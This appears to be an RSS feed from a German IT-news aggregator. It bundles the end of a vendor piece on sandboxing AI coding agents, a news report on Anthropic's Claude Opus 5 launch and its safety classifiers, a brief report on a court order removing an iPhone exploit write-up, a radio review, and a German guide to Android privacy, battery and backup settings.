<p class="wp-block-paragraph"><strong>#4. Enforce principle of least privilege for AI agents</strong></p>



<p class="wp-block-paragraph">AI coding assistants inherit the privileges of whoever deployed them. In practice, that means read access to production databases, write access to core repositories, and access to every secret in environment files and configuration directories. To restrict this excessive access, Koi applies dynamic sandboxing directly to AI agent processes at the kernel level. It enforces a strict zero-trust boundary that segregates sensitive workspace vectors, preventing agents from pulling data outside their approved scope without interrupting developer workflows.</p>



<p class="wp-block-paragraph"><strong>#5. Maintain continuous endpoint posture management</strong></p>



<p class="wp-block-paragraph">Signature-based scanning only stops known threats. Sophisticated repository attacks often arrive as functional, high-rated software that carries no known bad signature. Koi’s research into the <a href="https://www.koi.ai/blog/darkspectre-unmasking-the-threat-actor-behind-7-8-million-infected-browsers" target="_blank" rel="noreferrer noopener">DarkSpectre campaign</a> found eight browser extensions, all carrying “featured” badges from Google and Microsoft, installed by over 8 million users, silently harvesting every conversation from ChatGPT, Claude, and Gemini in the background. Koi addresses this by operating upstream: scanning marketplace listings every hour, using LLM-driven code analysis to compare what software promises against what its code does, sandboxing it, and scoring the risk before it ever reaches the endpoint.</p>



<p class="wp-block-paragraph"><strong>Summary</strong></p>



<p class="wp-block-paragraph">Securing the modern enterprise is no longer about patching individual gaps. As AI agents redefine the workforce, Agentic Endpoint Security (AES) is now a strategic imperative for every CISO. By establishing a mandatory control plane for the AI-native workspace, AES ensures that your organization can scale engineering velocity without ever compromising enterprise integrity. </p>



<p class="wp-block-paragraph">Ready to secure the future of your software stack? See how <a href="https://www.paloaltonetworks.com/cortex/agentic-endpoint-security" target="_blank" rel="noreferrer noopener">Koi Agentic Endpoint Security</a> delivers complete visibility, risk scoring, and real-time prevention across every endpoint in your enterprise.</p>



<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph"></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Anthropic launches Claude Opus 5, a cheaper AI model for coding, agents and enterprise workflows]]></title>
<description><![CDATA[Anthropic released Claude Opus 5 on Friday, a model the company says delivers nearly all the intelligence of its top-of-the-line Claude Fable 5 at half the cost — a launch that signals how the AI race is shifting from raw capability to the economics of daily use.The model, available immediately o...]]></description>
<link>https://tsecurity.de/de/3692246/it-nachrichten/anthropic-launches-claude-opus-5-a-cheaper-ai-model-for-coding-agents-and-enterprise-workflows/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692246/it-nachrichten/anthropic-launches-claude-opus-5-a-cheaper-ai-model-for-coding-agents-and-enterprise-workflows/</guid>
<pubDate>Fri, 24 Jul 2026 20:10:11 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://www.anthropic.com/">Anthropic</a> released Claude <a href="http://anthropic.com/news/claude-opus-5">Opus 5</a> on Friday, a model the company says delivers nearly all the intelligence of its top-of-the-line Claude <a href="https://www.anthropic.com/claude/fable">Fable 5</a> at half the cost — a launch that signals how the AI race is shifting from raw capability to the economics of daily use.</p><p>The model, available immediately on all of Anthropic's platforms, is priced at $5 per million input tokens and $25 per million output tokens, unchanged from its predecessor, <a href="https://www.anthropic.com/news/claude-opus-4-8">Opus 4.8</a>. It becomes the new default model on <a href="https://support.claude.com/en/articles/11049741-what-is-the-max-plan">Claude Max</a>, Anthropic's premium consumer tier, and the strongest model available on <a href="https://support.claude.com/en/articles/8325606-what-is-the-pro-plan">Claude Pro</a>.</p><p>The positioning is deliberate. Anthropic is not claiming <a href="http://anthropic.com/news/claude-opus-5">Opus 5 </a>is its smartest model — that distinction still belongs to <a href="https://www.anthropic.com/claude/fable">Fable 5</a>, and rival systems retain an edge in certain domains. Instead, the company is making a subtler argument that may matter more to enterprise buyers: that the most economically important AI work happens in a middle band of difficulty, where near-frontier intelligence delivered efficiently and cheaply beats frontier intelligence delivered expensively.</p><p>"Opus 5 as your daily driver, the model you hand complex work to and review when it's done," an Anthropic spokesperson said in an interview with VentureBeat, describing how the company's lineup now stratifies. "Fable 5 for your most ambitious work, the days-long autonomous projects nothing could take on before... Sonnet 5 for work you run at scale, where speed and cost per call decide what ships. Haiku 4.5 for subagents and instant answers."</p><h2><b>How Claude Opus 5 benchmark results stack up against Fable 5 and rival AI models</b></h2><p>On paper, the results are striking. Anthropic says <a href="http://anthropic.com/news/claude-opus-5">Opus 5</a> sets new state-of-the-art marks on coding and knowledge-work evaluations including <a href="https://www.frontierbench.ai/announcement">Frontier-Bench</a> and <a href="https://artificialanalysis.ai/evaluations/gdpval-aa">GDPval-AA</a>. On <a href="https://www.frontierbench.ai/announcement">Frontier-Bench v0.1</a>, an agentic terminal coding benchmark, Opus 5 scores 43.3 percent — more than double Opus 4.8's 18.7 percent and well ahead of Fable 5's 33.7 percent — at a lower cost per task, according to the company. On <a href="https://arcprize.org/arc-agi/3">ARC-AGI 3</a>, an evaluation of novel problem-solving, Anthropic reports Opus 5 scored three times as high as the next best model. On <a href="https://github.com/xlang-ai/OSWorld-V2">OSWorld 2.0</a>, a computer-use benchmark, the company says the model surpasses Fable 5's best result at just over a third of the cost.</p><p>The numbers come with honest caveats that are themselves notable in an industry prone to superlatives. Anthropic acknowledges <a href="http://anthropic.com/news/claude-opus-5">Opus 5</a> remains behind <a href="https://www.anthropic.com/claude/mythos">Mythos 5</a>, a competing model, on cybersecurity tasks and biology research, and an OpenAI-family model still leads on one agentic coding benchmark.</p><p>The more revealing caveat came from Anthropic itself, when asked where <a href="http://anthropic.com/news/claude-opus-5">Opus 5</a> still falls short of <a href="https://www.anthropic.com/claude/fable">Fable 5</a>. The spokesperson's answer amounted to a candid admission about what benchmarks do and don't capture.</p><p>"The evals where Opus 5 wins are bounded tasks with a specific outcome, which is where it's strongest. What those evals don't measure is duration," the spokesperson told VentureBeat. "One way to put it: Opus 5 is the best tool for the jobs benchmarks can see, and Fable 5 is what you reach for when the job outruns the benchmark."</p><p><a href="https://www.anthropic.com/claude/fable">Fable 5</a>, by contrast, "is for the longest, most autonomous jobs, where the model has to stay coherent across many connected steps over hours or days with dense source material," the spokesperson said, advising customers to "run both on a representative workload, one bounded task and one long-horizon job." That framing — bounded tasks versus long-horizon autonomy — may become the defining axis of model differentiation in 2026, as benchmarks saturate and the hardest remaining problems involve sustained, multi-day agentic work rather than discrete puzzles.</p><h2><b>Why token efficiency is becoming the real battleground for enterprise AI spending</b></h2><p>Threaded through the launch is a theme Anthropic clearly wants buyers to absorb: <a href="http://anthropic.com/news/claude-opus-5">Opus 5</a> doesn't just score well, it scores well per dollar. The model ships with an adjustable "effort" setting that lets customers trade intelligence for speed and token savings, and Anthropic's charts emphasize performance at a given cost rather than peak performance alone.</p><p>Early customers echoed the point with unusual specificity. Harvey, the legal AI company, said Opus 5 achieved similar performance to Opus 4.8's maximum-reasoning mode "while generating 26% fewer tokens on average," according to Niko Grupen, its head of applied research. Richard Pham of Fundamental Research Lab said that on hard financial-modeling tasks, the model averaged nine percentage points higher accuracy "while using roughly one-third fewer turns and tool calls and 60% less time."</p><p>Wade Foster, chief executive of Zapier, said Opus 5 topped his company's AutomationBench leaderboard "without spending more tokens than prior Claude models," running a full churn-prevention workflow from start to finish. "Previous models didn't pass; Opus 5 hit 100%," he said. Scott Wu, chief executive of Cognition, the company behind the Devin coding agent, said that on FrontierCode 1.1, "Claude Opus 5 approaches Fable-level performance at half the cost," with particular strength in debugging and root-cause analysis.</p><p>The efficiency emphasis reflects commercial reality. Enterprise AI spending is no longer experimental, and inference costs — the price of actually running these models at scale — have become a board-level line item. </p><p>Anthropic's business skews heavily toward API and enterprise usage; according to a February 2026 analysis by <a href="https://research.contrary.com/company/anthropic">Contrary Research</a>, Claude held roughly 40 percent of the enterprise large language model market by usage as of late 2025, and Claude Code alone had reached about $1 billion in annualized revenue. For a company whose customers pay by the token, a model that does more with fewer tokens is not a nice-to-have. It is the product.</p><h2><b>Self-verifying AI agents and what they mean for the hidden costs of automation</b></h2><p>Beyond the numbers, Anthropic is selling a behavioral story: that <a href="http://anthropic.com/news/claude-opus-5">Opus 5</a> verifies its work and iterates until it succeeds. The company offered several examples from testing that read like small parables of machine stubbornness.</p><p>In one <a href="https://www.frontierbench.ai/announcement">Frontier-Bench</a> task, the model was asked to reconstruct a machine part as a 3D CAD model from a drawing it was intentionally given no way to view. Rather than fail, Anthropic says, Opus 5 wrote its own computer vision pipeline to extract the geometry from raw pixels — and did so repeatedly, while no competing model solved the task in five attempts. In another case, given a real bug in a popular open-source package manager, the model found the root cause and fixed an edge case the community's own patch had missed; a competing model patched only the symptom and declared victory. An engineer at a trading firm, the company says, used Opus 5 to build a market data feed for a new exchange in a single session and, finding no live feed to validate against, watched the model build its own test harness to check its parsing code.</p><p>Customers described similar behavior in the wild. Cristian Rivera, a staff software engineer at Stripe, said he gave the model "a chief-of-staff role over my dev environments" for a weekend: "it built its own monitor, drove each box, and pulled me in only for the judgment calls."</p><p>This is the capability enterprises actually care about, and it is worth dwelling on why. The gap between a model that produces plausible output and one that verifies its output is the gap between a demo and a deployable system. Most of the hidden cost of enterprise AI today is human review — engineers checking the machine's work. A model that reliably checks its own work compresses that cost, which is precisely why customers keep citing fewer turns, fewer passes, and less time rather than higher raw scores.</p><h2><b>Inside Anthropic's safety strategy: capability gaps, classifiers, and model fallbacks</b></h2><p>The launch also showcases Anthropic's increasingly intricate approach to safety — one that now involves deliberately not teaching its models certain skills. The company says its automated behavioral audit found Opus 5 to be its most aligned model to date, scoring 2.3 on overall misaligned behavior, lower than <a href="https://www.anthropic.com/news/claude-opus-4-8">Opus 4.8</a>, <a href="https://www.anthropic.com/news/claude-sonnet-5">Sonnet 5</a>, or <a href="https://www.anthropic.com/claude/fable">Fable 5</a>, with the lowest rates of deceptive behavior and the least susceptibility to being tricked into misuse.</p><p>On the capability side, Anthropic says it intentionally avoided training <a href="http://anthropic.com/news/claude-opus-5">Opus 5</a> on cyber tasks, as it did with Opus 4.8. The model improved on them anyway — a side effect of general capability gains — and now nearly matches Mythos 5 at finding software vulnerabilities. But it remains far behind at exploiting them: on Anthropic's OSS-Fuzz evaluation, Opus 5 identified vulnerabilities at a 79.4 percent rate, close to Mythos 5's 80 percent, but succeeded at developing exploits in only 4 challenges versus Mythos 5's 13. That asymmetry — strong at defense-relevant discovery, weak at offense-relevant exploitation — appears to be by design, and the safeguards follow the same logic. Anthropic expects Opus 5's cyber classifiers to intervene about 85 percent less often than Fable 5's.</p><p>When a classifier does trigger, requests in <a href="http://claude.ai/">Claude.ai</a>, <a href="https://code.claude.com/docs/en/overview">Claude Code</a>, and <a href="https://claude.com/product/cowork">Claude Cowork</a> fall back to <a href="https://www.anthropic.com/news/claude-opus-4-8">Opus 4.8</a> by default — raising an obvious question: if a request is too risky for one model, why is it acceptable for another? "The model it falls back to has lower capability levels making the risk of harmful use lower as well," the spokesperson said, adding that "there is a message that lets the user know when this occurs and is visible in the chat."</p><p>The logic is defensible, but it reveals how AI safety actually works in 2026: risk is not a property of the question alone, but of the question multiplied by the capability of the system answering it. On biology, the calculus runs the other way. Opus 5 is now Anthropic's most capable generally available model for scientific research — scoring 10.2 percentage points higher than Opus 4.8 on the company's internal chemistry benchmark — though the spokesperson acknowledged that "Mythos 5 remains the stronger model for long-horizon, open-ended work like autonomous drug design campaigns."</p><h2><b>The business stakes behind the launch: a $380 billion valuation and massive compute bets</b></h2><p>The launch lands at a moment of extraordinary commercial momentum — and extraordinary obligations — for Anthropic. Reuters reported in February that the company was valued at <a href="https://www.reuters.com/technology/anthropic-valued-380-billion-latest-funding-round-2026-02-12/">roughly $380 billion</a> in its latest funding round, following a period in which, per Contrary Research's analysis, its annualized revenue climbed from about $1 billion at the end of 2024 to a projected $9 billion by the end of 2025, with internal targets reportedly <a href="https://research.contrary.com/company/anthropic">reaching $20 to $26 billion for 2026</a>. Those targets are underwritten by enormous infrastructure commitments, including a <a href="https://www.anthropic.com/news/microsoft-nvidia-anthropic-announce-strategic-partnerships">reported $30 billion Azure compute deal</a> alongside arrangements with Google Cloud and Nvidia — spending that only pencils out if enterprises keep expanding usage.</p><p>That is the context in which Opus 5's pricing strategy makes sense. Holding the price at Opus 4.8 levels while roughly doubling performance on key agentic benchmarks is effectively a steep price cut per unit of capability, designed to widen the funnel of workloads that are economical to automate. Every task that was marginal at Opus 4.8's cost-per-success becomes viable at Opus 5's — and every viable task is recurring token revenue.</p><p>The regulatory backdrop has grown more complex as well. A U.S. judge gave final approval this week to <a href="https://www.reuters.com/world/us-judge-approves-anthropics-15-billion-settlement-copyright-lawsuit-2026-07-20/">Anthropic's $1.5 billion copyright settlement with book authors</a>, Reuters reported, closing a chapter of litigation over the company's early training data. And in June, Reuters, citing Axios, reported that the U.S. government had moved to <a href="https://www.reuters.com/technology/us-blocks-foreign-access-anthropics-most-advanced-ai-models-axios-reports-2026-06-13/">block foreign access </a>to Anthropic's most advanced models — a reminder that frontier AI is now entangled with export policy in ways that shape which customers can buy what.</p><p>Also shipping Friday: a Fast mode running at roughly 2.5 times default speed at twice the base price, automatic fallback routing on the API, and mid-conversation tool changes that no longer invalidate the prompt cache — a small feature that agent developers may appreciate more than any benchmark. Consistent with prior Opus models, Opus 5 carries no data retention requirements for general access, a point the spokesperson flagged unprompted for customers with "a hard zero data retention requirement." Developers can access the model as claude-opus-5 on the <a href="https://platform.claude.com/login?returnTo=%2F%3F">Claude API</a> starting today.</p><p>Two questions will determine whether the bet pays off: whether <a href="http://anthropic.com/news/claude-opus-5">Opus 5's efficiency claims </a>survive contact with production workloads at scale, and whether enterprises embrace a world where safety classifiers, not users, sometimes decide which model answers. But the deeper message of Friday's launch is that the AI industry's center of gravity has moved. For three years, the labs competed on what their best model could do on its best day. With Opus 5, Anthropic is competing on something less glamorous and far more lucrative: what a very good model can do every day, for half the price. In a market where the frontier keeps moving, Anthropic is wagering that the real fortune lies just behind it.</p><p>
</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[iPhone exploit legal fight is really about who owns security research]]></title>
<description><![CDATA[A federal judge has ordered a public iPhone exploit taken offline after Magnet Forensics argued it wasn't independent security research at all, but instead a stolen trade secret.iPhone XU.S. District Judge Victoria Marie Calvert partially approved Magnet's request for a preliminary injunction. Sh...]]></description>
<link>https://tsecurity.de/de/3692084/ios-mac-os/iphone-exploit-legal-fight-is-really-about-who-owns-security-research/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692084/ios-mac-os/iphone-exploit-legal-fight-is-really-about-who-owns-security-research/</guid>
<pubDate>Fri, 24 Jul 2026 18:41:21 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A federal judge has ordered a public <a href="https://appleinsider.com/inside/iphone" data-kpt="1">iPhone</a> exploit taken offline after Magnet Forensics argued it wasn't independent security research at all, but instead a stolen trade secret.<br><br><div><img src="https://photos5.appleinsider.com/gallery/68354-144061-iPhone-X-Home-Screen-xl.jpg" alt="Hand holding a modern smartphone outdoors, screen lit with colorful app icons arranged in rows on a beach-themed wallpaper background" height="737"><span>iPhone X</span></div><br>U.S. District Judge Victoria Marie Calvert partially approved Magnet's request for a <a href="https://storage.courtlistener.com/recap/gov.uscourts.gand.361854/gov.uscourts.gand.361854.1.0.pdf">preliminary injunction</a>. She directed Paradigm Shift and former Magnet exploit engineer Mario Del Gaudio to delete the usbliter8 article, code, technical details, and related materials in their possession by 11:59 p.m. Eastern on July 23.<br><br>By July 23, Paradigm Shift had replaced the <a href="https://ps.tc/pages/blog-usbliter8.html">original article</a> with a page indicating the blog post was unavailable. The preliminary injunction will continue throughout the litigation unless the court removes it in a separate order.<br><br>Magnet's July 7 <a href="https://www.courtlistener.com/docket/73584326/magnet-forensics-llc-v-del-gaudio/">complaint</a> asserts that usbliter8 originated from a confidential A12 and A13 SecureROM access capability integrated into a commercial forensic product. The company alleges Del Gaudio acquired the technique while employed by Magnet and later shared it through Paradigm Shift.<br><br><br> <a href="https://appleinsider.com/articles/26/07/24/iphone-exploit-legal-fight-is-really-about-who-owns-security-research?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/245056?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[I tested a $14 emergency radio with solar and hand-crank power - it's in my survival kit now]]></title>
<description><![CDATA[AM/FM, NOAA weather band, solar and hand-crank charging, and a power bank - this tech is what actually works when the grid doesn't.]]></description>
<link>https://tsecurity.de/de/3691706/it-security-nachrichten/i-tested-a-14-emergency-radio-with-solar-and-hand-crank-power-its-in-my-survival-kit-now/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691706/it-security-nachrichten/i-tested-a-14-emergency-radio-with-solar-and-hand-crank-power-its-in-my-survival-kit-now/</guid>
<pubDate>Fri, 24 Jul 2026 15:39:18 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[AM/FM, NOAA weather band, solar and hand-crank charging, and a power bank - this tech is what actually works when the grid doesn't.]]></content:encoded>
</item>
<item>
<title><![CDATA[Neues Android-Handy: Diese fünf Einstellungen ändere ich sofort]]></title>
<description><![CDATA[Jedes neue Android-Smartphone durchläuft bei mir dasselbe Ritual: Noch bevor die erste App startet, klicke ich mich durch fünf Einstellungen, die – wie ich finde – jedes Handy von Werksseite aus schon (de-)aktiviert haben sollte. Welche das sind, zeige ich Schritt für Schritt.



Hinweis: Ich sel...]]></description>
<link>https://tsecurity.de/de/3691697/windows-tipps/neues-android-handy-diese-fuenf-einstellungen-aendere-ich-sofort/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691697/windows-tipps/neues-android-handy-diese-fuenf-einstellungen-aendere-ich-sofort/</guid>
<pubDate>Fri, 24 Jul 2026 15:35:26 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Jedes neue <a href="https://www.pcwelt.de/article/1924183/das-beste-smartphone-im-test.html" target="_blank" rel="noreferrer noopener">Android-Smartphone </a>durchläuft bei mir dasselbe Ritual: Noch bevor die erste App startet, klicke ich mich durch fünf Einstellungen, die – wie ich finde – jedes Handy von Werksseite aus schon (de-)aktiviert haben sollte. Welche das sind, zeige ich Schritt für Schritt.</p>



<p><strong>Hinweis:</strong> Ich selbst nutze ein Samsung-Smartphone. Die genauen Menüpfade und Bezeichnungen, die Sie in diesem Artikel finden, können bei anderen Android-Herstellern leicht abweichen. Die grundlegenden Funktionen finden Sie aber bei jedem Android-Gerät, meist nur unter leicht anderem Namen oder an anderer Stelle in den Einstellungen.</p>



<h2 class="wp-block-heading toc">1. Personalisierte Werbung deaktivieren</h2>



<p>Google und viele App-Anbieter verknüpfen Ihr Nutzungsverhalten über eine sogenannte Werbe-ID mit Ihrem Profil, um Anzeigen zuzuschneiden. Ich schalte das ab, weil ich schlicht nicht möchte, dass mein halbes digitales Leben zu Werbezwecken ausgewertet wird:</p>



<ol class="wp-block-list">
<li>Öffnen Sie <strong>Einstellungen &gt; </strong><strong>Sicherheit &amp; Datenschutz</strong><strong> &gt; </strong><strong>Weitere Datenschutzeinstellungen</strong>.</li>



<li>Deaktivieren Sie im Abschnitt <strong>Google</strong> die Funktion “Android-Personalisierungsdienst” und tippen Sie anschließend auf “Werbung” &gt; “Werbe-ID löschen”.</li>
</ol>



<p>Damit unterbinden Sie zwar nicht jede Form von Werbung, aber die Anzeigen werden deutlich weniger zielgerichtet auf Sie persönlich ausgespielt. Mehr zu versteckten Tracking-Funktionen von Google lesen Sie hier: <a href="https://pcwelt.de/article/1201382/diese-google-funktion-ueberwacht-sie-heimlich-so-schalten-sie-diese-ab.html" target="_blank" rel="noreferrer noopener">Diese Google-Funktion überwacht Sie heimlich – so deaktivieren Sie das</a>.</p>


<div class="extendedBlock-wrapper block-coreImage center"><figure data-wp-context='{"imageId":"6a636a0546a3f"}' data-wp-interactive="core/image" class="wp-block-image aligncenter size-large is-resized wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://b2c-contenthub.com/wp-content/uploads/2026/07/vs.jpg?quality=50&amp;strip=all&amp;w=1200" alt="Android Werbung deaktivieren" class="wp-image-3185478" width="1200" height="675" loading="lazy"><button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="Enlarge" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="state.imageButtonRight" data-wp-style--top="state.imageButtonTop">
				<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewbox="0 0 12 12">
					<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z"></path>
				</svg>
			</button><figcaption class="wp-element-caption"><p>So viel Datenschutz muss sein: Personalisierte Werbung mitsamt Werbe-ID lässt sich in den Datenschutz-Einstellungen löschen oder deaktivieren.</p><br></figcaption></figure><p class="imageCredit">PC-Welt</p></div>



<p>Wenn Sie es mit Datentracking ganz genau nehmen, empfehle ich Ihnen, unter <strong>myaccount.google.com</strong> noch die Aktivitätseinstellungen für Ihr Google-Konto zu prüfen.</p>



<hr class="wp-block-separator has-text-color has-vivid-red-color has-alpha-channel-opacity has-vivid-red-background-color has-background">



<h2 class="wp-block-heading toc">2. Sperrbildschirm-Benachrichtigungen ohne Inhalte anzeigen</h2>



<p>Standardmäßig zeigt Android Nachrichteninhalte, Absendernamen und teils sogar Codes für die <a href="https://www.pcwelt.de/article/1206889/zwei-faktor-authentifizierung-alles-was-sie-wissen-muessen.html" data-type="link" data-id="https://www.pcwelt.de/article/1206889/zwei-faktor-authentifizierung-alles-was-sie-wissen-muessen.html" target="_blank" rel="noreferrer noopener">Zwei-Faktor-Authentifizierung</a> direkt auf dem gesperrten Bildschirm an – lesbar für jeden, der Ihr Handy in die Hand nimmt! Das ändere ich als Erstes, sobald ein Gerät neu eingerichtet ist:</p>



<ol class="wp-block-list">
<li>Gehen Sie zu <strong>Einstellungen &gt; Benachrichtigungen</strong>.</li>



<li>Wählen Sie “Inhalt bei Sperrung ausblenden”.</li>



<li>Stellen Sie auf “In gesperrtem Zustand ausblenden”.</li>
</ol>



<p>Sie können das Ganze auch einzeln pro App festlegen, statt nur systemweit: Öffnen Sie dazu <strong>Einstellungen &gt; Apps &gt; [gewünschte App] &gt; Benachrichtigungen</strong> und legen Sie dort separat fest, ob Nachrichteninhalte dieser App auf dem Sperrbildschirm angezeigt oder ausgeblendet werden sollen. </p>



<p>Eine ausführliche Übersicht weiterer Schutzmaßnahmen finden Sie in diesem Ratgeber: <a href="https://www.pcwelt.de/article/3067254/android-datenschutzeinstellungen-smartphone-schuetzen-tipps.html" target="_blank" rel="noreferrer noopener">Schützen Sie Ihr Smartphone mit diesen 7 Android-Datenschutzeinstellungen</a>.</p>



<hr class="wp-block-separator has-text-color has-vivid-red-color has-alpha-channel-opacity has-vivid-red-background-color has-background">



<h2 class="wp-block-heading toc">3. Akku-Optimierung pro App statt pauschalem Sparmodus</h2>



<p>Den generischen Energiesparmodus finde ich zu grob, zumal ich Apps habe, die im Sparmodus nicht optimal laufen können. Deshalb schränke ich gezielt die Apps ein, die im Hintergrund unnötig Strom ziehen, und passe ein paar Display-Einstellungen an:</p>



<ol class="wp-block-list">
<li>Öffnen Sie zunächst <strong>Einstellungen &gt; Akku. </strong>Unterhalb der Nutzungsanzeige sehen Sie, welche Apps am meisten Akku verbrauchen. Öffnen Sie nun diese akku-hungrigen Apps unter <strong>Einstellungen &gt; Apps &gt; [App] &gt; Akku</strong> und stellen Sie die Einstellung von “Nicht eingeschränkt” auf “Optimiert” oder “Eingeschränkt”.</li>



<li>Reduzieren Sie unter <strong>Einstellungen &gt; Anzeige</strong> die Bildwiederholrate von 90/120 Hertz auf 60 Hertz (bei Samsung “Standard“), falls Sie keine animationsreichen Spiele spielen und auch sonst nicht besonders auf butterweiches Scrollen angewiesen sind. Beim reinen Surfen, Chatten oder Videoschauen fällt Ihnen der Unterschied kaum auf, da Filme und Serien ohnehin überwiegend mit deutlich niedrigerer Bildrate laufen.</li>



<li>Deaktivieren Sie <strong>Always-on-Display </strong>(unter<strong> Einstellungen &gt; Sperrbildschirm und AOD</strong>), wenn Sie es ohnehin selten ansehen.</li>
</ol>



<p>Diese drei Handgriffe bringen im Alltag oft mehr als jeder Sparmodus-Knopf. Hier finden Sie eine vollständige Liste weiterer Stellschrauben: <a href="https://www.pcwelt.de/article/3154399/smartphone-mehr-akkulaufzeit-einstellungen.html" target="_blank" rel="noreferrer noopener">13 Einstellungen, mit denen Ihr Smartphone-Akku länger hält</a>.</p>


<div class="extendedBlock-wrapper block-coreImage center"><figure data-wp-context='{"imageId":"6a636a0547aeb"}' data-wp-interactive="core/image" class="wp-block-image aligncenter size-large is-resized wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://b2c-contenthub.com/wp-content/uploads/2026/07/vs-1.jpg?quality=50&amp;strip=all&amp;w=1200" alt="Akkuschonende Einstellungen für Android" class="wp-image-3185479" width="1200" height="675" loading="lazy"><button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="Enlarge" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="state.imageButtonRight" data-wp-style--top="state.imageButtonTop">
				<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewbox="0 0 12 12">
					<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z"></path>
				</svg>
			</button><figcaption class="wp-element-caption"><p>Mit wenigen Klicks erhöhen Sie Ihre Akkulaufzeit sofort. Im Bild zu sehen: Akkuverbrauch (links), Einstellungen für die Bildwiederholrate (Mitte) und deaktiviertes Always-On-Display (rechts).</p> <br></figcaption></figure><p class="imageCredit">PC-Welt</p></div>



<h2 class="wp-block-heading toc">4. Berührungsempfindlichkeit für Displayschutzfolien aktivieren</h2>



<p>Ohne Panzerglasfolie auf dem Display geht bei mir gar nichts. Allerdings kenne ich noch die Zeiten, in denen ich mich mit hakeligen Wischgesten und dem Entsperren per Fingerabdruck herumschlagen musste, weil die Touchscreen-Eingaben durch die Folien stark gedämpft waren.</p>



<p>Eines Tages bin ich auf die Einstellung “Berührungsempfindlichkeit“ gestoßen und – siehe da – alle Folien-Probleme haben sich in Luft aufgelöst. Diese Einstellung ändere ich deshalb bei jedem neuen Handy mit Schutzfolie sofort<strong>:</strong></p>



<ol class="wp-block-list">
<li>Öffnen Sie <strong>Einstellungen &gt; Anzeige</strong>.</li>



<li>Suchen Sie den Punkt “Berührungsempfindlichkeit” und aktivieren Sie ihn.</li>
</ol>



<p>Mit aktivierter Berührungsempfindlichkeit reagiert der Touchscreen wieder so präzise wie ohne Folie. Sie werden den Unterschied sofort bemerken.</p>



<hr class="wp-block-separator has-text-color has-vivid-red-color has-alpha-channel-opacity has-vivid-red-background-color has-background">



<h2 class="wp-block-heading toc">5. Automatisches Backup sofort aktivieren</h2>



<p>Zum Glück habe ich noch nie ein Backup meiner Daten benötigt, aber allein der Gedanke an ein verlorenes, gestohlenes oder kaputtes Handy ohne Sicherung reicht mir, um bei jedem neuen Gerät sofort vorzusorgen. Denn das Aktivieren geht wirklich super schnell und reibungslos:</p>



<ol class="wp-block-list">
<li>Öffnen Sie <strong>Einstellungen &gt; Konten und Sicherung</strong>.</li>



<li>Falls Sie ein Samsung-Handy haben: Tippen Sie unter <strong>Samsung Cloud</strong> auf “Daten sichern”<strong>,</strong> um Kontakte, Kalender, Notizen und App-Daten geräteseitig zu sichern.</li>



<li>Aktivieren Sie zusätzlich im selben Menü das Backup über <strong>Google Drive</strong>, damit Ihre wichtigsten Daten auch herstellerunabhängig gesichert sind.</li>



<li>Öffnen Sie außerdem <strong>Google Fotos</strong> und schalten Sie dort separat die <strong>automatische Sicherung</strong> für Fotos und Videos ein.</li>



<li>Aktivieren Sie bei Bedarf zusätzlich das Backup für Messenger wie Whatsapp (Einstellungen innerhalb der jeweiligen App).</li>
</ol>



